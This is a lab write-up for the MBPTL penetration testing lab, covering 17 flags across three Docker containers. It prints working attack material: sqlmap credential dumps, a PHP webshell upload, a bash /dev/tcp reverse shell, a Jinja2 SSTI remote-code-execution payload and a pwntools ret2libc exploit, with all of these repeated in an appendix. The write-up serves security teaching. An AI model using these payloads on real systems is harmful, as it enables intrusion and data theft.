> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# MBPTL: Full Penetration Testing Lab Writeup (17 Flags)
- URL: https://taiwanding.com/en/mbptl-full-penetration-testing-writeup/
- Published: 2026-07-16T08:21:27.000Z
- Updated: 2026-07-20T07:17:56.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

> **Most Basic Penetration Testing Lab** —  
> A complete kill-chain log, from spinning up the environment to capturing all 17 flags,  
> with every step broken into three layers: **Concept (what it is) → Why (the principle) → How (the commands)**.  
> All flag values are shown as `Redacted`; the real values are never disclosed.  
> [https://github.com/bayufedra/MBPTL](https://github.com/bayufedra/MBPTL?ref=taiwanding.com)

## 0\. Lab Overview and Methodology

MBPTL condenses a full **kill chain** into 17 flags spread across 7 phases: recon → web enumeration → SQL injection → post-exploitation/privilege escalation → SOC forensics → internal lateral movement → binary exploitation. Its value isn't in any single vulnerability but in its **depth** — you have to dig deep into the one external entry point to gain a foothold, then use it as a pivot to fan out laterally to two purely internal services.

The whole environment is made up of 3 Docker containers:

| Container      | Subnet IP  | External Ports   | Role                                                                    |
| -------------- | ---------- | ---------------- | ----------------------------------------------------------------------- |
| mbptl-main     | 172.23.0.2 | 80, 8080         | External entry point: bookstore site (SQLi) + admin panel (file upload) |
| mbptl-app      | 172.23.0.4 | 5000 (internal)  | Flask service, Jinja2 SSTI                                              |
| mbptl-internal | 172.23.0.3 | 31337 (internal) | custom binary service, buffer overflow                                  |

**Key topology**: only `mbptl-main` is exposed externally (80/8080); 5000 and 31337 are never published to the outside and can only be reached from inside the network after main is compromised. That's exactly why Phase 6/7 have to rely on pivoting.

**The methodology that runs through the whole thing** (worth remembering more than the flags themselves):

1. **Recon first, let behavior lead**: at every attack point, first observe "how it responds," then decide on the payload — don't assume a vulnerability class and force-fit it.
2. **Read the whole response, don't just grep for the flag string**: real pentests have no `FLAG{}` marker. The credentials, paths, and structure sitting next to the flag are the clues that move you forward.
3. **When your assumption doesn't hold, change your angle**: when filenames, paths, or behavior differ from what you expected, look around the directory / change how you observe, instead of ramming the same wall.

## 1\. Environment Setup

### Concept

Bring the lab up with Docker Compose: three containers + one custom bridge network.

### Why

The upside of a self-hosted Docker lab is isolation, resettability, and controllable behavior. Bring it up with a single Compose command, and if it breaks, `down -v` wipes it clean and starts over without polluting the host.

### How

```bash
git clone https://github.com/bayufedra/MBPTL
cd MBPTL/mbptl/
docker compose up -d
docker compose ps

```

Confirm all three containers are `Up`:

```
NAME             STATUS   PORTS
mbptl-app        Up       5000/tcp
mbptl-internal   Up       31337/tcp
mbptl-main       Up       0.0.0.0:80->80/tcp, 0.0.0.0:8080->8080/tcp, 3306/tcp

```

> **Gotcha**: if 8080 is already taken (e.g. another lab is running on the same box), `mbptl-main` will fail to start with `port is already allocated`. First `docker ps` to find the culprit and `docker compose down -v` to clear it, or edit `.env` to change the port.

**Reading port exposure**: `mbptl-main`'s 80/8080 have the `0.0.0.0:` prefix = externally exposed; `mbptl-app`'s 5000 and `mbptl-internal`'s 31337 have no prefix = purely internal. One glance defines the attack order.

## 2\. Attack-Surface Map

### How

```bash
# scan external ports
nmap -sV -p 80,8080 localhost

```

```
80/tcp   open  http  Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http  Apache httpd 2.4.41 ((Ubuntu))

```

Both are Apache 2.4.4 — a classic LAMP stack, so SQLi is most likely PHP + MySQL.

```bash
# brute directories on 80
gobuster dir -u http://localhost:80 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,html,txt -t 40 -q

```

Key findings: `/detail.php` (a single-record query page with a parameter → SQLi suspect), `/index.php`, `/img/`, `/inc/`.

## Phase 1 — Recon (Flag 1–3)

### Flag 1 — HTML Comment

**Concept**: `<!-- -->` comments in a page's source often leave behind sensitive information from developers.

**Why**: comments don't show up in the rendered page, so developers easily forget they're still in the source and visible to anyone. This is the most basic form of information disclosure.

**How**:

```bash
curl -s http://localhost:80/index.php | grep -iE '<!--|flag'

```

```
<!-- MBPTL-1{Redacted} -->

```

### Flag 2 — HTTP Header

**Concept**: a flag is hidden in the server's HTTP response headers (here, a custom header `X-MBPTL`).

**Why**: HTTP headers are the metadata layer where the server and client communicate. Ordinary users never notice them, but for an attacker they're a standard recon surface — custom headers, version info, and cookies all live here.

**How**:

```bash
curl -s -I http://localhost:80/

```

```
X-MBPTL: MBPTL-2{Redacted}

```

### Flag 3 — Alternate Web Service (8080)

**Concept**: a second web service beyond the main one, often overlooked.

**Why**: running multiple web ports on the same host is a common architecture (separating front-end and back-end). An attacker must enumerate every port, and secondary services are often less well defended — here, 8080 is the entrance to the back-office admin panel.

**How**:

```bash
curl -s http://localhost:8080/ | head -40

```

The homepage is an "Under Maintenance" decoy page, but the body prints it straight out:

```
MBPTL-3{Redacted}

```

> **Lesson**: don't just grep HTML comments — scan the whole body. This flag is in the visible text of the maintenance page, not in a comment.

## Phase 2 — Web Enumeration (Flag 4)

### Concept

Enumerate the hidden admin-panel path `/administrator/`.

### Why

Admin panels are high-value targets (they usually lead to file upload or configuration changes). Directory enumeration is a core step in web pentesting — many entry points have no links pointing to them and can only be found via dictionary brute-forcing or guessing known paths.

### How

```bash
curl -s -i http://localhost:8080/administrator/ | head -40

```

Returns 200 — it's a **Login Page** and sets a `PHPSESSID` cookie. The flag is printed in the login page body:

```
MBPTL-4{Redacted}

```

**This login form is the destination of the upcoming Phase 3**: the credentials dumped via SQLi come back to log in here (Flag 7), and only once you're in do you get file upload. The attack chain plants its foreshadowing right here.

## Phase 3 — SQL Injection (Flag 5–7)

### Flag 5 — Confirming the SQLi Vulnerability

**Concept**: the `id` parameter of `detail.php?id=` is unfiltered and concatenated straight into the SQL query.

**Why**: the essence of SQL injection is "data getting executed as code." When user input is concatenated into a query string without parameterization, a single quote `'` can close the original string and break the syntax, and the error message the server spits out leaks the backend structure.

**How**:

```bash
# normal value (baseline)
curl -s "http://localhost:80/detail.php?id=1" | head -30
# single quote triggers a syntax error
curl -s "http://localhost:80/detail.php?id=1'" | head -30

```

The single-quote request blows up immediately:

```
Error: You have an error in your SQL syntax; ... near '' LIMIT 1' at line 1
MBPTL-5{Redacted}

```

**Reconstructing the backend query from the error**: `... near '' LIMIT 1'` reveals the SQL is roughly `SELECT ... FROM books WHERE id='$id' LIMIT 1` — this is **string-based injection, single-quote closing, trailing LIMIT 1** — the easiest possible error-based / UNION scenario.

### Flag 6 — Grabbing the DB Flag with SQLMap

**Concept**: an automated tool turns the injection point into full database read access.

**Why**: manual UNION injection is doable but slow. SQLMap automatically determines the injection type, fingerprints the DBMS, enumerates databases/tables/columns and dumps them — it's the designated tool for this phase, and learning its workflow is the point.

**How**:

```bash
# get a foothold in the DB + list all databases
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch --dbs

```

SQLMap confirms all four injection types (boolean-based / error-based / time-based / UNION, 5 columns), lists the databases, with the target databases being `administrator` and `bookstore`.

```bash
# list the tables in the administrator database
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator --tables

```

We get two tables: `flag` and `users`. Dump the `flag` table:

```bash
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T flag --dump

```

```
+----+-------------------+
| id | flag              |
+----+-------------------+
| 1  | MBPTL-6{Redacted} |
+----+-------------------+

```

### Flag 7 — Dumping Credentials to Log Into the Admin Panel

**Concept**: dump the admin credentials from the `users` table and log into the 8080 back-office.

**Why**: SQLi isn't just for reading flags — more importantly it dumps **reusable credentials**. Getting the admin password = getting the admin panel = a path to file upload and RCE. This is the depth of "one vulnerability opening the next door."

**How**:

```bash
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T users --dump

```

SQLMap notices the passwords are MD5 and cracks them with its built-in wordlist on the spot:

```
+----+----------------------------------------------+----------+
| id | password                                     | username |
+----+----------------------------------------------+----------+
| 1  | 8a24367a...(P@ssw0rd!)                        | admin    |
+----+----------------------------------------------+----------+

```

Log in with `admin` / `P@ssw0rd!`, and Flag 7 is printed on the post-login dashboard:

```bash
curl -s -c /tmp/mbptl.jar -b /tmp/mbptl.jar -L \
  -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/

```

```
MBPTL-7{Redacted}

```

> **Extra concept**: MD5 is an unsalted, fast hash with zero resistance to dictionary/rainbow-table attacks. A common password like `P@ssw0rd!` cracks in seconds — which hints at the "password cracking" phase on the map, and SQLMap did it for you.

## Phase 4 — Post-Exploitation and Privilege Escalation (Flag 8–9)

### Uploading a Webshell for RCE

**Concept**: the "Insert Book" feature in the admin panel has an image upload, but it doesn't validate file type/extension, so you can upload a PHP webshell.

**Why**: the core of a file-upload vulnerability is "the server trusting a user-controlled file." The front-end `accept="image/*"` is just a browser hint and places no constraint on a directly crafted HTTP request. As long as the server saves your `.php` into the webroot and Apache parses it, the uploaded file becomes an executable backdoor.

**How**:

First, look at the structure of the upload form:

```bash
curl -s -b /tmp/mbptl.jar http://localhost:8080/administrator/admin.php | grep -iE '<form|<input|name='

```

Fields: `title` / `author` / `description` (required text) + `image` (file, `accept="image/*"`).

Craft a webshell and upload it (spoofing the MIME to bypass any content-type check):

```bash
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/mbptl.jar \
  -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

```

Returns `Book inserted successfully!` — upload succeeded, but **the response doesn't reveal the landing path**.

### Locating Where the Webshell Landed (Key Technique)

**Concept**: a successful upload ≠ knowing where the file is. The server renames the file (MD5) and drops it into a non-default directory.

**Why**: blindly scanning `/img/sh.php` gives all 404s because (1) the filename was changed to a hash and (2) the directory isn't the expected one. The fastest way to locate it isn't brute-forcing but **going back to the listing page to see how the server references your file** — the book cover's `<img src>` leaks the real path.

**How**:

After uploading an image on the front-end, go back to the bookstore page and inspect the new book cover's image address, which gives:

```
http://localhost:8080/administrator/uploads/<md5>.php

```

Two gotchas revealed at once: the directory is `administrator/uploads/`, the filename is renamed to an MD5, but **the extension keeps `.php`** → Apache will execute it as PHP.

Trigger RCE:

```bash
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"

```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

### Flag 8 — User Flag

```bash
curl -s "$WS?c=ls+-la+/flag"
curl -s "$WS?c=cat+/flag/user.txt"

```

```
---------- 1 root root  43 ... root.txt     ← perms 000, www-data can't read it
-rw-rw-r-- 1 root root  43 ... user.txt     ← readable
MBPTL-8{Redacted}

```

### Flag 9 — Root Flag (SUID Privilege Escalation)

**Concept**: `root.txt` has permissions `000`, so you must escalate to root to read it. The escalation vector is a lookalike-named SUID binary.

**Why**: the SUID (Set-User-ID) bit makes a program run as the **file's owner**, not the caller. If a root-owned SUID program can spawn a shell, anyone who runs it gets root. The first step of standard privesc recon is to find SUID files.

**How**:

```bash
curl -s "$WS?c=find+/+-perm+-4000+-type+f+2>/dev/null"

```

A misspelled name is mixed into the list:

```
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
...
/usr/bin/bahs        ← look! not bash, it's ba**hs**

```

`bahs` is a backdoor SUID that mimics `bash` with reversed letters. Confirm it:

```bash
curl -s "$WS?c=ls+-la+/usr/bin/bahs"

```

```
-rwsr-sr-x 1 root root 16784 ... /usr/bin/bahs    ← s bits = SUID + SGID, owner root

```

It's a setuid shell. **The key detail**: the webshell is a non-interactive environment, so running `bahs` bare opens a shell but has no stdin; you must use `-c` or a pipe to feed it a command:

```bash
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'id; cat /flag/root.txt'"

```

```
uid=0(root) gid=0(root) groups=0(root),33(www-data)
MBPTL-9{Redacted}

```

> **Extra concept**: why `-c`? Under a non-interactive `system()` call, `bahs` spins up a shell but immediately exits on EOF (no interactive stdin). Using `-c 'command'` passes the command directly as an argument, the shell runs it and returns the result — this "feed a SUID shell with -c in a non-interactive environment" detail comes up again later when escalating to an interactive shell.

## Phase 5 — SOC Analysis (Flag 10–12)

### Concept

As root, read the system logs, command history, and shell configs — this is the defender's (SOC) forensic perspective, which inverted becomes the attacker's "rummaging around for leftover information."

### Why

Once you have the highest privileges, the `/root` home directory and system logs are a goldmine: history commands may leak the internal network layout, passwords, and how to access other services. The SOC phase teaches you that "whatever the attacker/admin did is all written in the logs."

### Key Gotcha: Non-Interactive setuid Can't Hold Up

Earlier, using webshell + `bahs -c` to grep these files directly returned **nothing at all**, yet `cat /flag/root.txt` succeeded. The difference:

- `cat /flag/root.txt` is a single short command, and `bahs`'s setuid effective UID=0 holds up.
- `timeout 15 grep ...` **launches timeout (as www-data) first, then forks grep**, so the euid drops back to www-data and it can't read the root-only file.

**The fix: pop an interactive reverse shell, because only in an interactive environment does `bahs`'s setuid stay stable.**

### Establishing an Interactive Root Shell

```bash
# probe tools (this container only has bash, no nc/python)
curl -s -G "$WS" --data-urlencode "c=which bash nc python3"
# → only /usr/bin/bash

# find the lab network's gateway (for the container to connect back to the host)
docker network inspect mbptl_default | grep -i gateway
# → 172.23.0.1

```

**Terminal A (start the listener first)**:

```bash
nc -lvnp 4444

```

**Terminal B (trigger the bash /dev/tcp reverse shell)**:

```bash
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

```

We come in as www-data, then upgrade the TTY + escalate:

```bash
id                              # www-data
script -qc /bin/bash /dev/null  # no python, use script to open a PTY
/usr/bin/bahs                   # setuid stays stable in an interactive env
id                              # uid=0(root)

```

### Collecting Flags 10–12

Now we have a stable root TTY, so just read them:

```bash
grep -ra 'MBPTL-1[012]' / 2>/dev/null

```

```
/var/log/apache2/access.log:FLAG10='MBPTL-10{Redacted}'
/root/.bash_history:FLAG11='MBPTL-11{Redacted}'
/root/.bashrc:FLAG12='MBPTL-12{Redacted}'

```

- **Flag 10**: Apache access log — all of the attacker's requests are recorded here.
- **Flag 11**: root's `.bash_history` — history commands.
- **Flag 12**: root's `.bashrc` — an environment variable in the shell config file.

## Phase 6 — Network Pivoting and SSTI (Flag 13–14)

### Network Recon: Discovering Internal Services

**Concept**: using the compromised main container as a pivot, enumerate the services that only live on the internal network.

**Why**: 5000 and 31337 are never published externally and are completely invisible from outside. Only from inside main can you discover them via Docker's built-in DNS or by scanning the subnet. This is the heart of lateral movement (pivoting) — "using one foothold to see more of the network."

**How** (inside the root shell):

```bash
cat /etc/hosts                          # main itself is 172.23.0.2
getent hosts mbptl-app mbptl-internal   # resolve service names via Docker DNS

```

```
172.23.0.4      mbptl-app        ← Flask (5000)
172.23.0.3      mbptl-internal   ← binary (31337)
which curl      → main has curl, can hit HTTP services directly

```

### Flag 13 — Discovering the Internal Flask App

**Concept**: access the internal 5000 service through main's curl.

**Why**: once you confirm main can route to `mbptl-app:5000`, you can use main as a proxy to hit it, with no need to set up a tunnel (since the target is HTTP, curl is enough).

**How**:

```bash
curl -s http://mbptl-app:5000/ | head -60

```

```html
<h1>MBPTL - Internal Web Service</h1>
<p>Hello, World! (/?name=)</p>          ← the injection point is right in your face: ?name=
<p>MBPTL-13{Redacted}</p>

```

### Flag 14 — Jinja2 SSTI (Server-Side Template Injection)

**Concept**: the `?name=` parameter is concatenated straight into a Jinja2 template string, leading to template injection → RCE.

**Why**: the essence of SSTI is the same as SQLi — "user input executed as code (template syntax)." When the backend is written as `render_template_string("...%s..." % user_input)`, the user's input becomes part of the template, and Jinja2 renders the `{{ }}` expressions inside it, which lets you reach Python objects and modules and ultimately achieve RCE.

**How**:

Step one, confirm it's SSTI — send a math expression and see if it gets evaluated:

```bash
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # {{7*7}}

```

Returns `Hello, 49` → **SSTI confirmed** (the input is evaluated as a Jinja2 expression).

Step two, `{{config}}` prints out the Flask Config object, confirming the Jinja2 engine:

```bash
curl -s "http://mbptl-app:5000/?name=%7b%7bconfig%7d%7d"
# → renders the full <Config {...}> object

```

Step three, escalate to RCE by reaching the `os` module through Jinja2's object chain to run commands:

```bash
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null; ls -la /').read() }}"

```

```
MBPTL-14{Redacted}

```

**Root cause** (confirmed by reading the source):

```python
name = request.args.get('name', 'World! (/?name=)')
return render_template_string("""...<p>Hello, %s</p>...""" % name)

```

The fatal part is `render_template_string(... % name)` — it uses `%` to **concatenate the user input into the template string** first, then hands it to Jinja2 to render. The correct way is to pass `name` in as a context variable (`render_template_string(TEMPLATE, name=name)`), so it's treated only as data and never as template syntax.

> **Payload breakdown**: `cycler` is a Jinja2 built-in object, `.__init__.__globals__` gets the global namespace of its module, inside which you can reach the `os` module, and `.popen(cmd).read()` runs a system command and reads back the output. This is one of the standard Jinja2 RCE chains after `{{7*7}}` gets bypassed.

## Phase 7 — Binary Exploitation (Flag 15–17)

### Prep: Offline Static Analysis

The back-office has a button, `Download Binary for MBPTL Internal Service` (`/administrator/main`), and what it downloads is exactly the body of the 31337 service. The first step of reversing is always static analysis.

```bash
file main
# → ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

```

`not stripped` (has symbols) + dynamically linked means reversing will be easy. Check the protections:

```bash
readelf -l main | grep -iE 'STACK|GNU_RELRO'
readelf -h main | grep Type
# Type: EXEC        → No PIE, fixed addresses
# GNU_STACK RWE empty  → NX possibly disabled

```

**No PIE + no canary** \= the textbook buffer-overflow scenario (addresses can be hardcoded, no stack canary to block overwriting the return address).

### Flag 15 — Flag Embedded in the Binary (Recovered by Reversing)

**Concept**: the flag is compiled into the code as immediate values, so `strings` can't grab the complete value.

**Why**: `strings` can only grab contiguous printable characters, but the compiler split the flag into 8-byte chunks, stuffing them into a register via a series of `movabs rax, <8 bytes>` instructions and writing them to the stack to reassemble. The machine code sandwiched between these instructions (`48 89 85 ...`) breaks up the flag string.

**How**:

```bash
strings main | grep MBPTL-15
# → only see the "MBPTL-15" fragment, cut off by machine code

```

Disassemble main() to see how it assembles the flag:

```bash
objdump -d -M intel main | sed -n '/<main>:/,/ret/p'

```

```asm
movabs rax, 0x35312d4c5450424d   ; "MBPTL-15" (little-endian)
mov    [rbp-0x100], rax
movabs rax, 0x313761633462637b   ; "{cb4ca71"
mov    [rbp-0xf8], rax
movabs rax, 0x3861666235313133   ; "3115bfa8"
...

```

Restore each `movabs` immediate from little-endian and concatenate them to get the complete flag:

```
MBPTL-15{Redacted}

```

> **Lesson**: "there's clearly a flag but I can't grep it" → most likely it's been split into immediates and compiled into the code. Reconstruct it from the `movabs` sequence.

### Flag 16 — Connecting to the Internal Binary Service

**Concept**: connect to `mbptl-internal:31337`, and the service banner spits out Flag 16 directly.

**Why**: 31337 is purely internal, so you have to connect from main (which has pivoting capability). main has no nc/python, but bash has the `/dev/tcp` pseudo-device for establishing a TCP connection.

**How** (inside main's root shell):

```bash
exec 3<>/dev/tcp/mbptl-internal/31337
cat <&3 &
echo "test" >&3

```

```
=== [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16: MBPTL-16{Redacted}
[>] Name: [*] Welcome, test!

```

> If your Kali box can route directly to the docker subnet (the host usually can), you can also just `nc -v 172.23.0.3 31337` to get the same banner.

### Flag 17 — Buffer Overflow (ret2libc)

**Concept**: the service uses `gets()` to read Name with no bounds checking → the overflow overwrites the return address → ret into the binary's `system("/bin/sh")`.

**Why**: `gets()` is a function you should never use — it doesn't limit input length, giving you as much length as you want, flooding straight past the buffer on the stack and clobbering the saved RBP and the return address. When the program hits `ret`, the CPU jumps to an address we control. Because it's No PIE (fixed addresses) and the binary has `system@plt` and a `/bin/sh` string, we build a ROP chain: `pop rdi; ret` loads the `/bin/sh` address into rdi, then jumps to `system`, which is equivalent to calling `system("/bin/sh")`.

**How**:

Disassemble to locate the overflow point:

```bash
objdump -d -M intel main | sed -n '/<main>:/,/ret/p'

```

```asm
lea rax,[rbp-0x80]    ; buffer is at rbp-0x80
call gets@plt        ; overflow point

```

Compute the offset: the buffer at `[rbp-0x80]` \= 128 bytes to the saved RBP, then +8 to the return address → **offset = 136**.

Collect the ROP components (No PIE, file offset + 0x400000 = memory address):

```bash
# pop rdi; ret gadget (machine code 5f c3)
python3 -c "import re; d=open('main','rb').read(); print([hex(m.start()+0x400000) for m in re.finditer(b'\x5f\xc3', d)])"
# → 0x400873

# /bin/sh string
strings -t x main | grep /bin/sh    # file 0x898 → memory 0x400898

# system@plt (the call address in the disassembly)
# → 0x400570

```

**exploit (pwntools**, **connecting directly to 172.23.0.3:31337 from Kali)**:

```python
from pwn import *

p = remote('172.23.0.3', 31337)

POP_RDI = 0x400873   # pop rdi ; ret
BINSH   = 0x400898   # "/bin/sh"
SYSTEM  = 0x400570   # system@plt

payload  = b'A' * 136          # fill the buffer up to the return address
payload += p64(POP_RDI)        # ret → pop rdi; ret
payload += p64(BINSH)          # rdi = "/bin/sh"
payload += p64(SYSTEM)         # → system("/bin/sh")

p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()

```

After running it we get a shell and read the flag:

```bash
$ id
uid=65534(nobody) gid=65534(nogroup)
$ ls -la
... flag.txt ...          # note: there's no flag17.txt, the flag is in flag.txt
$ cat flag.txt
MBPTL-17{Redacted}

```

> **Gotcha**: I expected to read `flag17.txt`, but it doesn't exist — after `ls` I found the flag is in `flag.txt`, once again confirming "look around the directory, don't assume the filename." The `...s\x08@` in the echo is exactly the gadget address `0x400873` leaking through `Welcome, %s`, proving the offset is spot-on.

## Appendix A — Full Exploit Scripts

### A.1 SQLi Credential Dump (Phase 3)

```bash
TARGET="http://localhost:80/detail.php?id=1"
sqlmap -u "$TARGET" -p id --batch --dbs
sqlmap -u "$TARGET" -p id --batch -D administrator --tables
sqlmap -u "$TARGET" -p id --batch -D administrator -T flag  --dump   # Flag 6
sqlmap -u "$TARGET" -p id --batch -D administrator -T users --dump   # credentials → Flag 7

```

### A.2 Webshell Upload + RCE + Privesc (Phase 4)

```bash
# log in to get a session
curl -s -c /tmp/j -b /tmp/j -L -d 'username=admin&password=P@ssw0rd!' \
  http://localhost:8080/administrator/

# upload the webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/j -F 'title=x' -F 'author=x' -F 'description=x' \
  -F 'image=@/tmp/sh.php;type=image/png' \
  http://localhost:8080/administrator/admin.php

# locate the landing spot by inspecting the front-end <img src>, giving <md5>.php
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"                                                        # RCE
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'cat /flag/root.txt'"  # privesc

```

### A.3 Reverse Shell (Phase 5 Prep)

```bash
# listener (Kali terminal A)
nc -lvnp 4444

# trigger (through the webshell, GW = docker network gateway)
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"

# once in: script -qc /bin/bash /dev/null → /usr/bin/bahs → uid=0

```

### A.4 SSTI RCE (Phase 6)

```bash
# confirm
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d"    # → 49
# RCE
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
  "name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null').read() }}"

```

### A.5 Buffer Overflow (Phase 7)

```python
from pwn import *
p = remote('172.23.0.3', 31337)
payload  = b'A'*136 + p64(0x400873) + p64(0x400898) + p64(0x400570)
p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()   # cat flag.txt

```

## Appendix B — Gotchas and Lessons

These are the points where I genuinely got stuck attacking this box and then broke through — worth remembering more than the flags themselves:

| # | Sticking Point                                                   | Why It Stuck                                                     | Breakthrough                                                                                      |
| - | ---------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| 1 | webshell uploaded successfully but couldn't be found by scanning | filename changed to MD5, directory non-default                   | after front-end upload, go back to the listing page and inspect the <img src> that leaks the path |
| 2 | bahs -c 'cat root.txt' succeeded but grep returned nothing       | non-interactive + timeout fork breaks the setuid chain           | pop an interactive reverse shell, and only then does setuid stay stable                           |
| 3 | reverse shell fired but never came back                          | used the wrong gateway IP (a custom network isn't 172.17.0.1)    | docker network inspect to find the real gateway (172.23.0.1)                                      |
| 4 | Flag 15 couldn't be grepped                                      | flag was split into movabs immediates and compiled into the code | reconstruct it little-endian from the disassembled movabs sequence                                |
| 5 | expected flag17.txt doesn't exist                                | filename differs from the map's assumption                       | ls to look around the directory — the flag is in flag.txt                                         |

### The Entire Attack Chain of This Box, in One Sentence

> External SQLi dumps admin credentials → log into the back-office and upload a webshell for www-data RCE → escalate to root via the lookalike SUID `bahs` → read the logs to complete the SOC forensics → use main as a pivot to move laterally, hitting the internal Flask app with Jinja2 SSTI and the internal binary with a ret2libc buffer overflow → all 17 flags captured.

*Writeup complete — 17/17\. Understanding the principles beats collecting flags.*